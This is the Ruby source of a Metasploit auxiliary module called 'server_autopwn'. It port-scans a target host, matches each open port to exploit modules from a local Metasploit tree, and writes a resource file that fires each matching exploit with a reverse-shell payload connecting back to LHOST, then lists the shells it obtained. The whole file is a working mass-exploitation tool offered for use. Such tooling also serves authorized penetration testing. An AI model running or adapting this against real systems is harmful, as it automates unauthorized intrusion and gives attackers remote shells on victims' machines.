## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/base/sessions/scriptable' require 'msf/base' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Session::Scriptable if File.file?("./msfexec.rc") File.delete("./msfexec.rc") end open('msfexec.rc', 'a') { |f| f.puts("back") f.puts("set ExitOnSession false") } def initialize(info = {}) super(update_info(info, 'Name' => 'server_autopwn', 'Description' => %q{ This module scans a target and generates a custom msfexec.rc resource file to be used against the target. }, 'Author' => [ 'oxagast/Marshall Whittaker' ], 'License' => MSF_LICENSE )) register_options( [ OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-65535"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds", 0]), OptString.new('RHOSTS', [true, "The Target's ip"]), OptString.new('LHOST', [true, "Local machine to connect back to"]), OptString.new('LPATH', [true, "Local path to grep metasploit exploit modules (ends in modules/exploits !)", "./modules/exploits"]), OptString.new('ARCH', [true, "Processor architecture of the target", "x64"]), OptString.new('EXPLOIT_TIMEOUT', [true, "How long to wait before killing runaway exploits, in seconds", 60]) ]) $handler = 2000 $sploit_count = 0 $port_count = 0 deregister_options('RPORT') end def run_host(ip) timeout = datastore['TIMEOUT'].to_i ports = Rex::Socket.portspec_crack(datastore['PORTS']) if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end jitter_value = datastore['JITTER'].to_i if jitter_value < 0 raise Msf::OptionValidateError.new(['JITTER']) end delay_value = datastore['DELAY'].to_i if delay_value < 0 raise Msf::OptionValidateError.new(['DELAY']) end # Add the delay based on JITTER and DELAY if needs be while(ports.length > 0) t = [] r = [] opentcp = [] begin 1.upto(datastore['CONCURRENCY']) do this_port = ports.shift break if not this_port t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| begin # Add the delay based on JITTER and DELAY if needs be add_delay_jitter(delay_value,jitter_value) # Actually perform the TCP connection s = connect(false, { 'RPORT' => port, 'RHOST' => ip, 'ConnectTimeout' => (timeout / 1000.0) } ) if s print_good("#{ip}:#{port} - TCP") r << [ip,port,"open"] opentcp << port end rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Rex::Post::Meterpreter::RequestError rescue ::Interrupt raise $! rescue ::Exception => e print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}") ensure if s disconnect(s) rescue nil end end end end t.each {|x| x.join } rescue ::Timeout::Error ensure t.each {|x| x.kill rescue nil } end r.each do |res| report_service(:host => res[0], :port => res[1], :state => res[2]) end # generic shell backup $payl = "generic_shell_reverse" # use port scanning to build script here for openport in opentcp do $port_count = opentcp.length msfmodules = [] # find modules and loop over them msfmodules = Find.find(datastore['LPATH']).select { |p| /.*\.rb$/ =~ p } for mod in msfmodules do if File.open(mod).grep(/\(#{openport}\)/) do open('msfexec.rc', 'a') { |m| mod = mod.gsub(/.*exploits\//, "exploits/") m.puts("use #{mod}") print_good("Adding exploit: #{mod} for default port #{openport}") m.puts("set LPORT #{$handler}") # try to guess the payload shell from the current exploit if mod["linux"] payl = "linux/#{datastore['ARCH']}/shell_reverse_tcp" end if mod["windows"] payl = "windows/#{datastore['ARCH']}/shell/reverse_tcp" end if mod["freebsd"] payl = "bsd/#{datastore['ARCH']}/shell/reverse_tcp" end if mod["osx"] payl = "osx/#{datastore['ARCH']}/shell_reverse_tcp" end if mod["android"] payl = "android/shell/reverse_tcp" end if mod["aix"] payl = "aix/ppc/shell_reverse_tcp" end if mod["solaris"] payl = "solaris/#{datastore['ARCH']}/shell_reverse_tcp" end m.puts("set payload #{payl}") # sleep fixes some parallelism bugs # m.puts("sleep 0.08") m.puts("set RHOSTS #{datastore['RHOSTS']}") m.puts("set LHOST #{datastore['LHOST']}") m.puts("exploit -j -z") m.puts("back") } # increment the handler so that its on a different LPORT $handler = $handler + 1 $sploit_count = $sploit_count + 1 end end end end end # kill jobs and then list sessions open('msfexec.rc', 'a') { |f| f.puts("sleep #{datastore['EXPLOIT_TIMEOUT']}") f.puts("jobs -K") f.puts("sessions") } # run it! if $sploit_count > 0 print_good("#{$sploit_count} exploits added to resource file... good.") print_good("Now run 'resource msfexec.rc' to exploit hosts...") end if $sploit_count == 0 print_error("Sorry, no exploits added. Are there open ports?") if File.file?("./msfexec.rc") File.delete("./msfexec.rc") end end end end